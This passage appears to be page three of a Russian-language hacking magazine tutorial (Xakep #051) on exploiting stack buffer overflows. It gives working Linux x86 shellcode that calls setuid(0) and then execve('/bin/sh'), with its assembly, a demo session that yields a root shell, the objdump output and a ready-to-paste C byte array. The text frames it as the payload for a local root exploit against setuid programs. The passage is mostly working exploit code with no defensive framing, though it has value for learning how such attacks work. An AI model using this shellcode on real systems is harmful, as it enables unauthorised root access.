Переполнение буфера в стеке. Шествие второе

kas1e

Xakep, номер #051, стр. 051-060-3


# которому все это расположилось, копируем его в ecx

movl %esp,%ecx # вот здесь скопировали

.byte 0x99 # это инструкция cdql, но 'as' ее не

# понимает, поэтому сразу написали в машинном коде

movb $0x0b,%al # ну и теперь номер вызова в al

int $0x80 # и делаем этот вызов

[bof]# as shellcode.s -o shellcode.o

[bof]# ld shellcode.o -o shellcode

[bof]# ./shellcode

sh-2.04# exit

exit

[bof]#

Итак, у тебя есть сорсы, которые дают шелл. И ты уже можешь использовать его в эксплоитах. Единственное, что необходимо сделать, перевести его в машинные коды. Это можно сделать objdump'ом, gdb или любым hex-редактором:

[bof]# objdump -D ./shellcode

./shellcode: file format elf32-i386

Disassembly of section .text:

08048074 <_start>:

8048074: 31 c0 xor %eax,%eax

8048076: 50 push %eax

8048077: 68 2f 2f 73 68 push $0x68732f2f

804807c: 68 2f 62 69 6e push $0x6e69622f

8048081: 89 e3 mov %esp,%ebx

8048083: 50 push %eax

8048084: 53 push %ebx

8048085: 89 e1 mov %esp,%ecx

8048087: 99 cltd

8048088: b0 0b mov $0xb,%al

804808a: cd 80 int $0x80

Disassembly of section .data:

[bof]#

Теперь перепишем все это в нормальный вид, в виде символьного буфера с добавлением setuid(0) вызова:

char shellcode[]= // - символьный буфер с шеллкодом

"\x33\xc0" /* xorl %eax,%eax */

"\x31\xdb" /* xorl %ebx,%ebx */

"\xb0\x17" /* movb $0x17,%al */ setuid

"\xcd\x80" /* int $0x80 */

"\x31\xc0" /* xorl %eax,%eax */

"\x50" /* pushl %eax */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,%ebx */

"\x50" /* pushl %eax */ execve

"\x53" /* pushl %ebx */

"\x89\xe1" /* movl %esp,%ecx */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80"; /* int $0x80 */

Для того чтобы запущенный шелл получил root-привилегии, ты должен сделать в шеллкоде системный вызов setuid(0). То, что программа суидная, как раз и разрешает тебе делать такой вызов. В результате мы получили код, выполняющий setuid(0), а затем запуск execve(/bin/sh).

Итак, теперь у нас есть готовый шеллкод. И этот самый код мы будем впихивать при переполнении буфера в стеке. Т.е. мы сделаем следующее: регистр eip будет указывать не на какие-то левые адреса, а на адрес, по которому расположен наш шеллкод. И нетрудно догадаться, что если программа будет суидная, и ее владелец рут, то при удачном раскладе, ты и получишь эти желанные привилегии рута. А то, что мы сделаем, и будет называется "локальный root-эксплоит" :). Способов их написания довольно много, но я рассмотрю самый простой из них.

Эксплуатация переполнения

Итак, мы подошли к самому интересному. Ты теперь знаешь, что такое переполнение стека, какие файлы желательно переполнять. Ты знаешь, что такое шеллкод и как его написать. Остается одно - применить все это на практике.

Проблема всех эксплоитов, основанных на переполнении буфера, заключается в том, что мы часто не знаем адреса, который нужно положить в eip для вызова шеллкода. Самый простой выход из такой ситуации - статические адреса. Т.е. адреса, которые не меняются. В linux, при запуске файла, начиная с адреса 0xbfffffff и далее вниз, лежат такие данные:

Назад на стр. 051-060-2  Содержание  Вперед на стр. 051-060-4